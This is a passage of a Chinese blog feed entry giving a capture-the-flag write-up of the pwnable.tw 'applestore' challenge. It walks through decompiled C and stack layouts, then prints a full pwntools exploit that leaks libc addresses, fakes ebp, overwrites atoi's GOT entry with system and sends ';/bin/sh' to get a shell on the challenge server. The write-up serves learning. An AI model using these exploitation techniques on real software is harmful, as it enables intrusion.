class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里能够知道，每次分配的大小为0x10，然后price本身的内容为一个整数，接下来会在v2的位置上存放一个字符串指针，大小为能够放入a1那个字符串大小的空间。之后我们观察释放的过程：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">delete</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> first; <span class="comment">// [esp+10h] [ebp-38h]</span></span><br><span class="line">  Phone *Phones; <span class="comment">// [esp+14h] [ebp-34h]</span></span><br><span class="line">  <span class="type">int</span> No; <span class="comment">// [esp+18h] [ebp-30h]</span></span><br><span class="line">  Phone *phone_next; <span class="comment">// [esp+1Ch] [ebp-2Ch]</span></span><br><span class="line">  Phone *phone_before; <span class="comment">// [esp+20h] [ebp-28h]</span></span><br><span class="line">  <span class="type">char</span> nptr; <span class="comment">// [esp+26h] [ebp-22h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v7; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v7 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  first = <span class="number">1</span>;</span><br><span class="line">  Phones = (Phone *)next_Phone;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Item Number&gt; &quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  my_read(&amp;nptr, <span class="number">0x15</span>u);</span><br><span class="line">  No = atoi(&amp;nptr);</span><br><span class="line">  <span class="keyword">while</span> ( Phones )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( first == No )</span><br><span class="line">    &#123;</span><br><span class="line">      phone_next = (Phone *)Phones-&gt;next;</span><br><span class="line">      phone_before = (Phone *)Phones-&gt;before;</span><br><span class="line">      <span class="keyword">if</span> ( phone_before )</span><br><span class="line">        phone_before-&gt;next = (<span class="type">int</span>)phone_next;</span><br><span class="line">      <span class="keyword">if</span> ( phone_next )</span><br><span class="line">        phone_next-&gt;before = (<span class="type">int</span>)phone_before;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Remove %d:%s from your shopping cart.\n&quot;</span>, first, Phones-&gt;str);</span><br><span class="line">      <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v7;</span><br><span class="line">    &#125;</span><br><span class="line">    ++first;</span><br><span class="line">    Phones = (Phone *)Phones-&gt;next;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v7;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>观察这个过程，大概的逻辑就是，检查输入的数字和first是否相等，相等的时候向链表后方移动一位。如果相等时候后，将这个需要删除的堆块取出（但是注意，这里并没有将堆块free掉）。<br>然后这个函数还提供了检查当前总共花了多少元的逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">cart</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> num; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v2; <span class="comment">// [esp+18h] [ebp-30h]</span></span><br><span class="line">  <span class="type">int</span> sum_price; <span class="comment">// [esp+1Ch] [ebp-2Ch]</span></span><br><span class="line">  Phone *i; <span class="comment">// [esp+20h] [ebp-28h]</span></span><br><span class="line">  <span class="type">char</span> buf; <span class="comment">// [esp+26h] [ebp-22h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v6; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  v2 = <span class="number">1</span>;</span><br><span class="line">  sum_price = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Let me check your cart. ok? (y/n) &gt; &quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  my_read(&amp;buf, <span class="number">0x15</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( buf == <span class="number">0x79</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;==== Cart ====&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> ( i = (Phone *)next_Phone; i; i = (Phone *)i-&gt;next )</span><br><span class="line">    &#123;</span><br><span class="line">      num = v2++;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%d: %s - $%d\n&quot;</span>, num, i-&gt;str, i-&gt;price);</span><br><span class="line">      sum_price += i-&gt;price;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> sum_price;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个逻辑相当于检查我们的购物车中总共有多少钱。然后还有一段很有趣的逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">checkout</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> sum_price; <span class="comment">// [esp+10h] [ebp-28h]</span></span><br><span class="line">  Phone a1; <span class="comment">// [esp+18h] [ebp-20h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  sum_price = cart();</span><br><span class="line">  <span class="keyword">if</span> ( sum_price == <span class="number">7174</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;*: iPhone 8 - $1&quot;</span>);</span><br><span class="line">    asprintf((<span class="type">char</span> **)&amp;a1, <span class="string">&quot;%s&quot;</span>, <span class="string">&quot;iPhone 8&quot;</span>);</span><br><span class="line">    a1.price = <span class="number">1</span>;                               <span class="comment">// 这一个步骤很奇怪。</span></span><br><span class="line">                                                <span class="comment">// 1. 空间放在栈上</span></span><br><span class="line">                                                <span class="comment">// 2. 这个</span></span><br><span class="line">    insert(&amp;a1);</span><br><span class="line">    sum_price = <span class="number">7175</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Total: $%d\n&quot;</span>, sum_price);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Want to checkout? Maybe next time!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个地方我们会发现，如果我们此时购买的iPhone总价格达到了7174的价格的时候，我们就能够买入iPhone 8！并且有一点很有意思，这个iPhone8是**【放在栈上的】**。这个条件好像很重要。。。<br>首先我们知道，为了得到这个iPhone 8，我们需要6*199+20*299，也就是<code>(1)iPhone 6 199</code>*6和 <code>(2) iPhone 6 Plus 299</code>*20。<br>然后我们仔细想一下这个iPhone 8 的结构:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">00000000 Phone           struc ; (sizeof=0x10, mappedto_1)</span><br><span class="line">00000000                                         ; XREF: checkout/r</span><br><span class="line">00000000 str             dd ?                    ; offset</span><br><span class="line">00000004 price           dd ?                    ; XREF: checkout+50/w</span><br><span class="line">00000008 next            dd ?                    ; offset</span><br><span class="line">0000000C before          dd ?                    ; offset</span><br><span class="line">00000010 Phone           ends</span><br><span class="line"></span><br><span class="line">+-------------------+  ebp - 20h</span><br><span class="line">|      str addr     |</span><br><span class="line">+-------------------+</span><br><span class="line">|      price        |</span><br><span class="line">+-------------------+</span><br><span class="line">|     next chunk    |</span><br><span class="line">+-------------------+</span><br><span class="line">|    before chunk   |</span><br><span class="line">+-------------------+  ebp - 10h</span><br></pre></td></tr></table></figure><p>如果说，我们把上面的结构体拿出来的话，那么在【进入别的函数的时候，ebp-20h~ebp-10h之间的内容将会发生变动】，这一点可以好好利用一下。我们知道，此时【insert函数只会将当前的before chunk】的值更改，但是【此时的next chunk】的值不发生变化。<br>也就是说，这个chunk的利用方式大致是知道了</p><ul><li>由于iPhone 8的 next 指针没有被修改，此时的next指针指向的位置就是【原先栈中的位置】</li><li>由于此时的before存在栈上，那么在【下一次对栈中的值进行修改的时候，before指针也是可以发生变化的】</li></ul><p>首先观察到，比较合适的修改函数为cart:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">cart</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> num; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v2; <span class="comment">// [esp+18h] [ebp-30h]</span></span><br><span class="line">  <span class="type">int</span> sum_price; <span class="comment">// [esp+1Ch] [ebp-2Ch]</span></span><br><span class="line">  Phone *i; <span class="comment">// [esp+20h] [ebp-28h]</span></span><br><span class="line">  <span class="type">char</span> buf; <span class="comment">// [esp+26h] [ebp-22h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v6; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个buf的内容正好涵盖了ebp-20h 到 ebp - 10h,相当于说这整个的chunk我们都能够控制。然后我们能够找到另一个可以利用的位置:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Remove %d:%s from your shopping cart.\n&quot;</span>, first, Phones-&gt;str);</span><br></pre></td></tr></table></figure><p>这个地方，如果我们将str addr覆盖成任意一个got表的位置，我们就能够泄露地址了！然后我们通过修改atoi的got表的地址，从而将atoi的地址修改成sysytem，完成攻击！。</p><p>首先我们构造26个块:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+----------+         +----------+</span><br><span class="line">|  chunk1  | --&gt; ... | chunk26  | </span><br><span class="line">+----------+         +----------+   </span><br></pre></td></tr></table></figure><p>然后我们构造第27个块，放在上面:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+----------+         +----------+    </span><br><span class="line">|  chunk1  | --&gt; ... | chunk26  |--&gt;+-------------------+  ebp - 20h</span><br><span class="line">+----------+         +----------+   |      str addr     |</span><br><span class="line">                                    +-------------------+</span><br><span class="line">                                    |      price        |</span><br><span class="line">                                    +-------------------+</span><br><span class="line">                                    |     next chunk    |</span><br><span class="line">                                    +-------------------+</span><br><span class="line">                                    |    before chunk   |</span><br><span class="line">                                    +-------------------+  ebp - 10h</span><br></pre></td></tr></table></figure><p>然后我们通过delete函数，在ebp-22h处写入27，然后ebp-20h开始，写入printf的地址0804B010:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">+--------+             ebp - 22h</span><br><span class="line">|  nptr  |</span><br><span class="line">+-------------------+  ebp - 20h</span><br><span class="line">|     atoi addr     |</span><br><span class="line">+-------------------+</span><br><span class="line">|      price        |</span><br><span class="line">+-------------------+</span><br><span class="line">|     next chunk    |</span><br><span class="line">+-------------------+</span><br><span class="line">|    before chunk   |</span><br><span class="line">+-------------------+  ebp - 10h</span><br></pre></td></tr></table></figure><p>就能够完成泄露。然后，我们通过修改before指针，让其等于atoi.got - 0x8,那么之后在:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( first == No )</span><br><span class="line">&#123;</span><br><span class="line">  phone_next = (Phone *)Phones-&gt;next;</span><br><span class="line">  phone_before = (Phone *)Phones-&gt;before;</span><br><span class="line">  <span class="keyword">if</span> ( phone_before )</span><br><span class="line">    phone_before-&gt;next = (<span class="type">int</span>)phone_next;</span><br><span class="line">  <span class="keyword">if</span> ( phone_next )</span><br><span class="line">    phone_next-&gt;before = (<span class="type">int</span>)phone_before;</span><br></pre></td></tr></table></figure><p>这个位置上，我们就能通过phone-&gt;before-&gt;next，让atoi.got的值变成phone-&gt;next的值。然后我们尝试在泄露地址之后写入值,发现不行呀！如果我们利用上述过程的话，必定有<code>Phone-&gt;next</code>发生写入，而如果我们此时<code>next</code>改成了system的地址的时候，发生写入肯定是【会发生段保护的】。。。Emmm真的难。。不过后来修改了一下逻辑，我们只需要要cart，一样也可以进行泄露。</p><p>参考了一下网上的意见，大部分给出的答案都是说，<strong>【要控制ebp】</strong>。这个想法看到学长用过，我观察一下哪里可以控制先:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">+--------+             ebp - 22h</span><br><span class="line">|  nptr  |</span><br><span class="line">+-------------------+  ebp - 20h</span><br><span class="line">|     atoi addr     |</span><br><span class="line">+-------------------+</span><br><span class="line">|      price        |</span><br><span class="line">+-------------------+</span><br><span class="line">|     next chunk    |  &lt;---------------- 如果这个填写atoi.got + 0x22</span><br><span class="line">+-------------------+</span><br><span class="line">|    before chunk   |  &lt;---------------- 如果这个填写old ebp - 0x100</span><br><span class="line">+-------------------+  ebp - 10h</span><br></pre></td></tr></table></figure><p>突然想通了！<strong>伪造ebp</strong>其实非常的关键:<br><img src="/2017/10/29/pwnable-applestore/apple00.png" alt=""><br>上面是原先的栈中的内容，但是，如果我们能够把**【old ebp】**进行修改的话，那么结果就能够变成如下:<br><img src="/2017/10/29/pwnable-applestore/apple01.png" alt=""><br>如果此时ebp被pop出来的话，此时在<code>main</code>函数中,我们的nptr其实上就能够指向此时的got地址！</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">handler</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> nptr; <span class="comment">// [esp+16h] [ebp-22h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">    my_read(&amp;nptr, <span class="number">0x15</span>u);</span><br></pre></td></tr></table></figure><p>这样的话，就方便很多！那么为了实现这个操作，最关键内容变成了【泄露一个栈上的地址】，而后我们可以知道，有一个叫做<strong>environ</strong>的变量，正好会存放当前栈中环境变量所在的位置，这里我们可以将其泄露出来，从而得到栈的地址。</p><p>最后的最后，还要注意，在发生了read之后才会进入atoi，所以我们输入的system_addr的地址也会就进入到system函数中。不过有了pwnable5的教训，我们知道，只需要加入一个**;**就能够截断之前的字符串，于是我们可以发送:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">p32(system_addr)+&quot;;/bin/sh&quot;</span><br></pre></td></tr></table></figure><p>即可完成攻击！<br>附上exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./applestore&quot;</span>)</span><br><span class="line">    context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    gdb.attach(ph, <span class="string">&quot;break *0x080489FD&quot;</span>)</span><br><span class="line">    libc  = ELF(<span class="string">&quot;./mylibc.so.6&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;139.162.123.119&quot;</span>,<span class="number">10104</span>)</span><br><span class="line">    libc  = ELF(<span class="string">&quot;./libc_32.so.6&quot;</span>)</span><br><span class="line"></span><br><span class="line">environ_libc = libc.symbols[<span class="string">&#x27;environ&#x27;</span>]</span><br><span class="line">atoi_libc = libc.symbols[<span class="string">&#x27;atoi&#x27;</span>]</span><br><span class="line">system_libc = libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">atoi_got_addr = <span class="number">0x0804B040</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">insert</span>(<span class="params">ph, num</span>):</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;2&quot;</span></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Device Number&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(num)</span><br><span class="line">    <span class="built_in">print</span> num</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">ph, num</span>):</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Item Number&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(num)</span><br><span class="line">    <span class="built_in">print</span> num</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">checkout</span>(<span class="params">ph, num</span>):</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;5&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Let me check your cart. ok? (y/n) &gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;y&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;y&quot;</span></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Want to checkout? Maybe next time!&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cart</span>(<span class="params">ph, addr</span>):</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;Let me check your cart. ok? (y/n) &gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;y\x00&quot;</span> + p32(addr) + p32(<span class="number">0</span>)*<span class="number">3</span>)</span><br><span class="line">    <span class="comment"># ph.recvuntil(&quot;26: iPhone 6 Plus - $299\n&quot;)</span></span><br><span class="line">    ph.recvuntil(<span class="string">&quot;27: &quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> u32(ph.recvuntil(<span class="string">&quot;\n&quot;</span>)[:<span class="number">4</span>])</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># to make us to get 7174 dollar, we should buy 6 (1) and 20 (2)</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">        insert(ph, <span class="string">&quot;1&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">20</span>):</span><br><span class="line">        insert(ph, <span class="string">&quot;2&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># then ,we checkout to make suer we can buy iPhone 8</span></span><br><span class="line">    checkout(ph, <span class="string">&quot;3&quot;</span>)</span><br><span class="line">    <span class="comment"># then, we delete the No.27 to print out the got address</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;[+] environ is %x&quot;</span>%environ_libc</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;[+] system is %x&quot;</span>%system_libc</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;[+] atoi is %x&quot;</span>%atoi_libc</span><br><span class="line">    atoi_addr = cart(ph, atoi_got_addr)</span><br><span class="line">    log.success(<span class="string">&quot;leak atoi address is %x&quot;</span>%atoi_addr)</span><br><span class="line">    environ_bss = atoi_addr - atoi_libc + environ_libc</span><br><span class="line">    environ_addr = cart(ph, environ_bss)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;[+] environ_addr is %x&quot;</span>%environ_bss</span><br><span class="line">    log.success(<span class="string">&quot;get environ address %x&quot;</span>%environ_addr)</span><br><span class="line">    system_addr = atoi_addr - atoi_libc + system_libc</span><br><span class="line">    log.success(<span class="string">&quot;get system address %x&quot;</span>%system_addr)</span><br><span class="line">    </span><br><span class="line">    old_ebp = environ_addr - <span class="number">0x100</span></span><br><span class="line">    target_ebp = old_ebp - <span class="number">0xc</span></span><br><span class="line">    target_atoi = atoi_got_addr + <span class="number">0x22</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># then ,we use delete to give next and before chunk our value</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Item Number&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;27&quot;</span> + p32(atoi_got_addr) + <span class="string">&quot;aaaa&quot;</span> + p32(target_atoi) + p32(target_ebp))</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;27&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># finally, change addr to system!</span></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    ph.sendline(p32(system_addr)+<span class="string">&quot;;/bin/sh&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># get it !</span></span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>这次的题目，利用方法还是通过修改.got表的方式进行利用，其中比较核心的利用方法就是<strong>控制ebp，也就是控制栈</strong>的重要性。其实不单纯是劫持程序流，如果能够劫持栈的话，也不失为一种良好的利用方式。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近突然之间对pwn来了兴致，继续学习一下好了&lt;/p&gt;
&lt;h2 id=&quot;more-applestore-200-pts&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>pwn题学习--fastbindup实战</title>
    <link href="https://showlinkroom.me/2017/10/28/pwn%E9%A2%98%E5%AD%A6%E4%B9%A0-fastbindup%E5%AE%9E%E6%88%98/"/>
    <id>https://showlinkroom.me/2017/10/28/pwn%E9%A2%98%E5%AD%A6%E4%B9%A0-fastbindup%E5%AE%9E%E6%88%98/</id>
    <published>2017-10-28T09:02:07.000Z</published>
    <updated>2020-07-16T13:31:30.406Z</updated>
    
